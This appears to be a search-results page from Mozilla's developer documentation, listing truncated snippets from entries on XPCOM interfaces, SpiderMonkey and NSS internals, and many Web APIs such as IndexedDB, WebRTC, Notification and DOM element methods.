... callback syntax typedef enum jsgcstatus { jsgc_begin, jsgc_end, jsgc_mark_end, // obsolete since jsapi 13 jsgc_finalize_end // obsolete since jsapi 13 } jsgcstatus; typedef void (* jsgccallback)(jsruntime *rt, jsgcstatus status, void *data); name type description cx jscontext * the context in which garbage collection is happening.
... description js_setgccallback sets a callback function which the garbage collector calls at several points during garbage collection.
...And 6 more matches
Thread Sanitizer
it uses a compile-time instrumentation to check all non-race-free memory access at runtime.
... unlike other tools, it understands compiler-builtin atomics and synchronization and therefore provides very accurate results with no real false positives.
... you can check which version of clang you have by running the command: clang -v if you are not building from mozilla-central and are building firefox 39 or earlier, you must use clang 3.3.
...And 6 more matches
Feed content access API
nsifeedtextconstruct represents text values in a feed; includes functions that let you fetch the text as plain text or html.
...loading the feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-...
...processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
...And 6 more matches
Bundling multiple binary components
if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
... possible solutions this article covers two possible ways to make binary components support multiple version of gecko: dynamic method loading stub loader dynamic method loading the idea with this approach is to figure out all the methods imported from gecko and dynamically load the methods.
...And 6 more matches
nsACString
« xpcom api reference summary the nsacstring abstract class represents a character string composed of single-byte storage units.
... this class is typically used to represent ascii or utf-8 character arrays.
...}; typedefs char_type [char] storage unit for this class.
...And 6 more matches
nsAString
« xpcom api reference summary the nsastring abstract class represents a character string composed of double-byte storage units.
... this class is typically used to represent unicode character arrays.
...}; typedefs char_type [prunichar] storage unit for this class.
...And 6 more matches
nsIAppShell
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void create(inout int argc, inout string argv); obsolete since gecko 1.9 void dispatchnativeevent(in prbool arealevent, in voidptr aevent); obsolete since gecko 1.9 void exit(); void favorperformancehint(in boolean favorperfoverstarvation, in unsigned long starvationdelay); void getnativeevent(in prboolref arealevent, in voidptrref aevent); obsolete since gecko 1.9 void listentoeventqueue(in nsieventqueue aqueue, in prbool alisten); obsolete since gecko 1.9 void resumenative(); void r...
... dispatchnativeevent() obsolete since gecko 1.9 (firefox 3) after event dispatch execute app specific code.
... void dispatchnativeevent( in prbool arealevent, in voidptr aevent ); parameters arealevent event is real or a null placeholder (macintosh).
...And 6 more matches
nsIConverterOutputStream
xpcom/io/nsiconverteroutputstream.idlscriptable this interface allows writing strings to a stream, doing automatic character encoding conversion.
... 1.0 66 introduced gecko 1.8 inherits from: nsiunicharoutputstream last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/converter-output-stream;1.
... to create an instance, use: var converteroutputstream = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); method overview void init(in nsioutputstream aoutstream, in string acharset, in unsigned long abuffersize, in prunichar areplacementcharacter); methods init() initialize this stream.
...And 6 more matches
nsIErrorService
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xpcom/error-service;1 method overview string geterrorstringbundle(in short errormodule); string geterrorstringbundlekey(in nsresult error); void registererrorstringbundle(in short errormodule, in string stringbundleurl); void registererrorstringbundlekey(in nsresult error, in string stringbundlekey); void unregistererrorstringbundle(in short errormodule); void unregistererrorstringbundlekey(in nsresult err...
...string geterrorstringbundle( in short errormodule ); parameters errormodule the module for which the string bundle is registered.
...string geterrorstringbundlekey( in nsresult error ); parameters error the nsresult for which the string bundle key is to be retrieved.
...And 6 more matches
nsIMemory
inherits from: nsisupports last changed in gecko 0.9.6 nsimemory is used to allocate and deallocate memory segments from a heap.
...this may be null, in which case nothing happens.
...a particular nsimemory instance may choose not to implement this method.
...And 6 more matches
nsIScriptableUnicodeConverter
this legacy api represents binary data using the lower haft of each 16-bit code unit in a javascript string.
... if the other apis you are reading data from or writing data to don't require you to use this legacy representation, you should use textdecoder and textencoder (available to chrome javascript via components.utils.importglobalproperties) instead of this api.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/intl/scriptableunicodeconverter.
...And 6 more matches
nsIThreadObserver
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void afterprocessnextevent(in nsithreadinternal thread, in unsigned long recursiondepth); void ondispatchedevent(in nsithreadinternal thread); void onprocessnextevent(in nsithreadinternal thread, in boolean maywait, in unsigned long recursiondepth); methods afterprocessnextevent() called by the nsithread method nsithread.processnextevent() after an event is processed.
... note: it is valid to change the thread's observer during a call to this method.
... void afterprocessnextevent( in nsithreadinternal thread, in unsigned long recursiondepth ); parameters thread the nsithread on which the event was processed.
...And 6 more matches
nsIToolkitProfileService
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: starting in gecko 1.9.1, this service is implemented by @mozilla.org/toolkit/profile-service;1.
...to access the built-in profile manager in versions of firefox up to 4.0 and thunderbird up to 3.3 you can launch with the -profilemanager command line flag.
... warning: this service is synchronous so it is recommended that you use os.file to find the profile directory via os.constants.path.profiledir.
...And 6 more matches
nsMsgFolderFlagType
* (note that directories may have zero children.) */ const nsmsgfolderflagtype directory = 0x00000008; /** whether the children of this folder are currently hidden in the listing.
... */ const nsmsgfolderflagtype elided = 0x00000010; /// whether this is a virtual search folder const nsmsgfolderflagtype virtual = 0x00000020; /** @name news folder flags * these flags only occur in folders which have * the nsmsgfolderflags::newsgroup bit set, and do * not have the nsmsgfolderflags::directory or * nsmsgfolderflags::elided bits set.
... const nsmsgfolderflagtype subscribed = 0x00000040; /// used to be for new newsgroups added by the `check new groups' command.
...And 6 more matches
nsMsgViewCommandType
last changed in gecko 1.9 (firefox 3) constants name value description markmessagesread 0 marks the selected messages as read.
... togglethreadwatched 6 toggle the watched state of the selected thread.
... label0 21 attach a label to the selected messages.
...And 6 more matches
Working with Multiple Versions of Interfaces
the problem in this short note we illustrate how one can update an xpcom module in order for it to work in both firefox 2 and firefox 3, even if the interfaces have changed in the interim.
... in the extension that prompted this note, i needed to obtain the hwnd of the document (yes its on windows) in order to identify each particular extension instance.
...tr<nsiaccessible> accnode; rv = refp->getaccessiblefor(node, getter_addrefs(accnode)); if(ns_failed(rv)){ return self; } void *wh = null; nscomptr<nsiaccessibledocument> accdocnode; accdocnode = do_queryinterface(accnode, &rv); if(ns_failed(rv)){ return self; } rv = accdocnode->getwindowhandle(&wh); if(ns_succeeded(rv)){ self = static_cast<hwnd>(wh); } return self; } this approach worked, as is, for versions as early as firefox 1.5.
...And 6 more matches
The Valgrind Test Job
the valgrind test job builds the browser and runs it under valgrind, which can detect various common memory-related errors.
... this job only runs on linux64, which is the platform best suited to running valgrind.
... mach valgrind-test see also the general instructions for using valgrind with mozilla code.
...And 6 more matches
MailNews Filters
mailnews filters consist of a set of search terms, and a set of filter actions.
... filter execution is done by evaluating the search terms using the core mailnews/base/search code, and then applying the filter hits when the search terms match.
...in the case of pop3, filter execution is synchronous.
...And 6 more matches
Type conversion
var buffer = ctypes.char.array(10)(); var somecfunction = library.declare("somecfunction", ctypes.default_abi, ctypes.void_t, ctypes.char.ptr); somecfunction(buffer); // here ctypes.char.array(10)() is converted to ctypes.char.ptr type implicit conversion can be tested in the following way: var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.bool } ])(); mystruct.v = 1; console.log(mystruct.v.tostring()); // 'true' boolean type target type source converted value ctypes.bool js boolean src js number (0 or 1) if src == 0: false if src ==...
...ole.log(mystruct.v.tostring()); // 'true' mystruct.v = false; console.log(mystruct.v.tostring()); // 'false' mystruct.v = 1; console.log(mystruct.v.tostring()); // 'true' mystruct.v = 0; console.log(mystruct.v.tostring()); // 'false' mystruct.v = 10; // throws error mystruct.v = "a"; // throws error integer types target type source converted value ctypes.char16_t js string (only if its length == 1) src.charcodeat(0) any integer types js number (only if fits to the size) src js boolean if src == true: 1 if src == false: 0 var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.char16_t } ])(); mystruct.v = 0x41; console.log(mystruct.v.tostring()); // "a" mystruct.v = true; console.log(my...
...ypes.int16_t ctypes.uint16_t ctypes.short ctypes.unsigned_short ctypes.float64_t ctypes.int8_t ctypes.uint8_t ctypes.int16_t ctypes.uint16_t ctypes.short ctypes.unsigned_short ctypes.int32_t ctypes.uint32_t ctypes.int ctypes.unsigned_int ctypes.float32_t ctypes.char ctypes.int8_t ctypes.signed_char ctypes.int8_t ctypes.unsigned_char ctypes.uint8_t ctypes.char16_t ctypes.uint8_t ctypes.uint16_t ctypes.unsigned_short var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.int16_t } ])(); mystruct.v = ctypes.int8_t(10); console.log(mystruct.v.tostring()); // 10 mystruct.v = ctypes.in...
...And 6 more matches
PKCS #11 Netscape Trust Objects - Network Security Services
this document outlines the way in which nss stores trust objects via pkcs#11.
...a trust object contains multiple purposes and the level of trust for each one.
... certificate reference each trust object contains a reference to a certificate.
...And 6 more matches
Memory - Plugins
« previousnext » this chapter describes the plug-in api functions that allocate and free memory as needed by the plug-in.
... because plug-ins share memory space with the browser, they can take advantage of any customized memory-allocation scheme the browser has.
... browser memory schemes may be more efficient than standard os memory functions, and can give the browser flexibility in the way it manages memory.
...And 6 more matches
Plugin Roadmap for Firefox - Plugins
npapi plugins are an obsolete technology, and mozilla has been moving toward a web which doesn't need plugins.
... schedule june 2016 starting with firefox 47 in june 2016, all plugins other than adobe flash are click-to-activate.
... users choose which sites are allowed to activate each plugin.
...And 6 more matches
Using dynamic styling information - Web APIs
initially defined in the dom level 2 style recommendation, these interfaces forms now a specification, css object model (cssom) which aims at superseding it.
...one's javascript code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or manipulating, leaving the precise style details to the stylesheet.
...however, this will not affect any other property declarations for that element's styles, such as padding or margin or font, for example.
...And 6 more matches
Advanced animations - Web APIs
« previousnext » in the last chapter we made some basic animations and got to know ways to get things moving.
...to draw the ball, we will create a ball object which contains properties and a draw() method to paint it on the canvas.
... adding velocity now that we have a ball, we are ready to add a basic animation like we have learned in the last chapter of this tutorial.
...And 6 more matches
Pixel manipulation with canvas - Web APIs
the data property returns a uint8clampedarray which can be accessed to look at the raw pixel data; each pixel is represented by four one-byte values (red, green, blue, and alpha, in that order; that is, "rgba" format).
... each color component is represented by an integer between 0 and 255.
... each component is assigned a consecutive index within the array, with the top left pixel's red component being at index 0 within the array.
...And 6 more matches
DirectoryEntrySync - Web APIs
about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... this specification is pretty much abandoned, having failed to reach any substantial traction.
... basic concepts if you want to create subdirectories, you have to create each child directory in sequence.
...And 6 more matches
Document.getElementById() - Web APIs
the document method getelementbyid() returns an element object representing the element whose id property matches the specified string.
... if you need to get access to an element which doesn't have an id, you can use queryselector() to find the element using any selector.
...the id is case-sensitive string which is unique within the document; only one element may have any given id.
...And 6 more matches
Element.getBoundingClientRect() - Web APIs
syntax domrect = element.getboundingclientrect(); value the returned value is a domrect object which is the union of the rectangles returned by getclientrects() for the element, i.e., the css border-boxes associated with the element.
... the result is the smallest rectangle which contains the entire element, with read-only left, top, right, bottom, x, y, width, and height properties describing the overall border-box in pixels.
...this means that the rectangle's boundary edges (top, right, bottom, left) change their values every time the scrolling position changes (because their values are relative to the viewport and not absolute).
...And 6 more matches
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
note: if a <div>, <span>, or <noembed> node has a child text node that includes the characters (&), (<), or (>), innerhtml returns these characters as the html entities "&amp;", "&lt;" and "&gt;" respectively.
... exceptions syntaxerror an attempt was made to set the value of innerhtml using a string which is not properly-formed html.
... usage notes the innerhtml property can be used to examine the current html source of the page, including any changes that have been made since the page was initially loaded.
...And 6 more matches
Element: mouseenter event - Web APIs
the mouseenter event is fired at an element when a pointing device (usually a mouse) is initially moved so that its hotspot is within the element at which the event was fired.
... one mouseenter event is sent to each element of the hierarchy when entering them.
... here 4 events are sent to the four elements of the hierarchy when the pointer reaches the text.
...And 6 more matches
Element.querySelector() - Web APIs
the queryselector() method of the element interface returns the first element that is a descendant of the element on which it is invoked that matches the specified group of selectors.
... syntax element = baseelement.queryselector(selectors); parameters selectors a group of selectors to match the descendant elements of the element baseelement against; this must be valid css syntax, or a syntaxerror exception will occur.
... the first element found which matches this group of selectors is returned.
...And 6 more matches
FileError - Web APIs
WebAPIFileError
in the file system api, a fileerror represents error conditions that you might encounter while accessing the file system using the asynchronous api.
...in fact, many of the powerful storage apis (such as file system, blobbuilder, and filereader) throw errors if you run the app locally from file://.
... when you're just testing your app, and you don't want to set up a web server, you can bypass the security restriction on chrome.
...And 6 more matches
FileSystemEntry.getMetadata() - Web APIs
} the filesystementry interface's method getmetadata() obtains a metadata object with information about the file system entry, such as its modification date and time and its size.
... syntax filesystementry.getmetadata(successcallback[, errorcallback]); parameters successcallback a function which is called when the copy operation is succesfully completed.
... errorcallback optional an optional callback which is executed if an error occurs while looking up the metadata.
...And 6 more matches
FileSystemEntry.getParent() - Web APIs
syntax filesystementry.getparent(successcallback[, errorcallback]); parameters successcallback a function which is called when the parent directory entry has been retrieved.
...the parent of the root directory is considered to be the root directory, itself, so be sure to watch for that.
... errorcallback optional an optional callback which is executed if an error occurs.
...And 6 more matches
FileSystemFileEntry - Web APIs
it offers properties describing the file's attributes, as well as the file() method, which creates a file object that can be used to read the file.
... methods file() creates a new file object which can be used to read the file.
... obsolete methods createwriter() creates a new filewriter object which allows writing to the file represented by the file system entry.
...And 6 more matches
FileSystemFlags.create - Web APIs
syntax filesystemflags.create = booleanvalue values the table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists.
... option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was provided).
...And 6 more matches
FileSystemFlags.exclusive - Web APIs
syntax filesystemflags.exclusive = booleanvalue values the table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists.
... option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the successcallback is called with a filesystemfileentry if getfile() was called or a filesystemdirectoryentry if getdirectory() was called.
... false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was provided).
...And 6 more matches
HTMLButtonElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbuttonelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 6 more matches
HTMLImageElement.complete - Web APIs
the read-only htmlimageelement interface's complete attribute is a boolean value which indicates whether or not the image has completely loaded.
... syntax let doneloading = htmlimageelement.complete; value a boolean value which is true if the image has completely loaded; otherwise, the value is false.
... the image resource has been fully fetched and has been queued for rendering/compositing.
...And 6 more matches
HTMLImageElement.currentSrc - Web APIs
the read-only htmlimageelement property currentsrc indicates the url of the image which is currently presented in the <img> element it represents.
...currentsrc lets you determine which image from the set of provided images was selected by the browser.
... srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.innertext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification.
...And 6 more matches
HTMLInputElement.setSelectionRange() - Web APIs
optionally, in newer browser versions, you can specify the direction in which selection should be considered to have occurred.
... note that accordingly to the whatwg forms spec selectionstart, selectionend properties and setselectionrange method apply only to inputs of types text, search, url, tel and password.
... chrome, starting from version 33, throws an exception while accessing those properties and method on the rest of input types.
...And 6 more matches
HTMLMedia​Element​.textTracks - Web APIs
instead, they're sent to the track list object of the htmlmediaelement that corresponds to the type of track that was added to the element the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents change dynamically.
... once you have a reference to the list, you can monitor it for changes to detect when new text tracks are added or existing ones removed.
... see event handlers in texttracklist to learn more about watching for changes to a media element's track list.
...And 6 more matches
HTMLVideoElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">ht...
...And 6 more matches
Dragging and Dropping Multiple Items - Web APIs
caution: all of the methods and properties with a moz prefix (such as mozsetdataat() are gecko specific interfaces.
...in this case, add the appropriate formats for each item.
... although not required, you should always add the same formats for each item.
...And 6 more matches
IDBDatabase.transaction() - Web APIs
the transaction method of the idbdatabase interface immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
...transactions are opened in one of three modes: readonly, readwrite and readwriteflush (non-standard, firefox-only.) versionchange mode can't be specified here.
... if you need to open the object store in readwrite mode to change data, you would use the following: var transaction = db.transaction('my-store-name', "readwrite"); as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same behaviour as other indexeddb-supporting browsers.
...And 6 more matches
IDBIndex.name - Web APIs
WebAPIIDBIndexname
the name property of the idbindex interface contains a string which names the index.
... exceptions there are a several exceptions which can occur when you attempt to change an index's name.
...you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange".
...And 6 more matches
IDBIndex.openKeyCursor() - Web APIs
if at least one key matches the key range, then the result property of the event is set to the new idbcursor object; the key property of the cursor object is set to the found key and the primarykey property is set to the the corresponding primary key of the found record.
... if no keys match the key range, then then the result property of the event is set to null.
...this makes obtaining a list of keys much more efficient.
...And 6 more matches
MediaDeviceInfo.groupId - Web APIs
syntax var groupid = mediadeviceinfo.groupid; value a domstring which uniquely identifies the group of related devices to which this device belongs.
... examples in this example, we assemble a list of the devices which are part of the same group as a given device.
... this might be used to produce a user interface that gathers associated devices together for presentation purposes, or to make it easy for the user to choose to use the built-in camera and microphone on the same display at the same time.
...And 6 more matches
Media Capabilities API - Web APIs
the media capabilities api allows developers to determine decoding and encoding abilities of the device, exposing information such as whether media is supported and whether playback should be smooth and power efficient, with real time feedback about playback to better enable adaptive streaming, and access to display property information.
... examples detect audio file support and expected performance this example defines a audio configuration then checks to see if the user agent supports decoding that media configuration, and whether it will perform well in terms of smoothness and power efficiency.
... if ('mediacapabilities' in navigator) { const audiofileconfiguration = { type : 'file', audio : { contenttype: "audio/mp3", channels: 2, bitrate: 132700, samplerate: 5200 } }; navigator.mediacapabilities.decodinginfo(audiofileconfiguration).then(result => { console.log('this configuration is ' + (result.supported ?
...And 6 more matches
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
the pagex read-only property of the mouseevent interface returns the x (horizontal) coordinate (in pixels) at which the mouse was clicked, relative to the left edge of the entire document.
...for example, if the page is scrolled such that 200 pixels of the left side of the document are scrolled out of view, and the mouse is clicked 100 pixels inward from the left edge of the view, the value returned by pagex will be 300.
... syntax var pagex = mouseevent.pagex; value a floating-point number of pixels from the left edge of the document at which the mouse was clicked, regardless of any scrolling or viewport positioning that may be in effect.
...And 6 more matches
MutationObserverInit.attributeFilter - Web APIs
the mutationobserverinit dictionary's optional attributefilter property is an array of strings specifying the names of the attributes whose values are to be monitored for changes.
... if the attributes permission is true but no attributefilter is included in the options object, all attributes' values are watched for changes.
... syntax var options = { attributefilter: [ "list", "of", "attribute", "names" ] } value an array of domstring objects, each specifying the name of one attribute whose value is to be monitored for changes.
...And 6 more matches
Online and offline events - Web APIs
effectively, the requirements break down as such: you need to know when the user comes back online, so that you can re-synchronize with the server.
...this property is updated whenever the user switches into "offline mode" by selecting the corresponding menu item (file -> work offline in firefox).
...according to the specification: the navigator.online attribute must return false if the user agent will not contact the network when the user follows links or when a script requests a remote page (or knows that such an attempt would fail)...
...And 6 more matches
Notification.Notification() - Web APIs
the notification() constructor creates a new notification object instance, which represents a user notification.
... syntax var mynotification = new notification(title, options); parameters title defines a title for the notification, which is shown at the top of the notification window.
...the possible options are: dir: the direction in which to display the notification.
...And 6 more matches
Notification - Web APIs
these notifications' appearance and specific functionality vary across platforms but generally they provide a way to asynchronously provide information to the user.
... default — the user choice is unknown and therefore the browser will act as if the value were denied.
... notification.timestamp read only specifies the time at which a notification is created or applicable (past, present, or future).
...And 6 more matches
PannerNode.orientationX - Web APIs
the orientationx property of the pannernode interface indicates the x (horizontal) component of the direction in which the audio source is facing, in a 3d cartesian coordinate space.
... the complete vector is defined by the position of the audio source, given as (positionx, positiony, positionz), and the orientation of the audio source (that is, the direction in which it's facing), given as (orientationx, orientationy, orientationz).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
...And 6 more matches
ParentNode.append() - Web APIs
WebAPIParentNodeappend
the parentnode.append() method inserts a set of node objects or domstring objects after the last child of the parentnode.
... differences from node.appendchild(): parentnode.append() allows you to also append domstring objects, whereas node.appendchild() only accepts node objects.
... parentnode.append() has no return value, whereas node.appendchild() returns the appended node object.
...And 6 more matches
PaymentResponse.complete() - Web APIs
return value a promise which resolves with no input value once the payment interface has been fully closed.
... exceptions aborterror the document in which the payment request is taking place became inactive while the user interface was shown.
... examples the following example sends payment information to a secure server using the fetch api.
...And 6 more matches
PerformanceLongTaskTiming - Web APIs
;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancelongtasktiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-s...
...ize="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancelongtasktiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties performancelongtasktiming.attribution read only returns a sequence of taskattributiontiming instances.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 6 more matches
PublicKeyCredentialCreationOptions - Web APIs
properties publickeycredentialcreationoptions.rp an object describing the relying party which requested the credential creation.
... publickeycredentialcreationoptions.user an object describing the user account for which the credential is generated.
... publickeycredentialcreationoptions.challenge a buffersource, emitted by the relying party's server and used as a cryptographic challenge.
...And 6 more matches
RTCIceTransport.state - Web APIs
the read-only rtcicetransport property state returns the current state of the ice transport, so you can determine the state of ice gathering in which the ice agent currently is operating.
... this differs from the gatheringstate, which only indicates whether or not ice gathering is currently underway.
... syntax icestate = icetransport.state; value a domstring, whose value is one of those found in the enumerated type rtcicetransportstate, which indicates the stage of ice gathering that's currently underway.
...And 6 more matches
RTCPeerConnection.addIceCandidate() - Web APIs
when a web site or app using rtcpeerconnection receives a new ice candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().
... this adds this new remote candidate to the rtcpeerconnection's remote description, which describes the state of the remote end of the connection.
... during negotiation, your app will likely receive many candidates which you'll deliver to the ice agent in this way, allowing it to build up a list of potential connection methods.
...And 6 more matches
RTCPeerConnection.getStats() - Web APIs
the rtcpeerconnection method getstats() returns a promise which resolves with data providing statistics about either the overall connection or about the specified mediastreamtrack.
... syntax promise = rtcpeerconnection.getstats(selector) parameters selector optional a mediastreamtrack for which to gather statistics.
... return value a promise which resolves with an rtcstatsreport object providing connection statistics.
...And 6 more matches
RTCRtpSendParameters.encodings - Web APIs
syntax sendparameters.encodings = encodingparameterlist; encodingparameterlist = sendparameters.encodings; value an array of objects conforming to the rtcrtpencodingparameters dictionary, each of which contains properties which provide settings and parameters that describe and configure a single codec that could be used to encode the track.
... each object's properties are: active if true, the described encoding is currently actively being used.
... codecpayloadtype when describing a codec for an rtcrtpsender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for sending the stream; the value matches one from the owning rtcrtpparameters object's codecs parameter.
...And 6 more matches
RTCStatsIceCandidatePairState - Web APIs
the rtcstatsicecandidatepairstate enumerated type represents the set of string values which are possible for the rtcicecandidatepairstats object's state property.
... this represents the state of this candidate pair within the ice check list for the rtcpeerconnection.
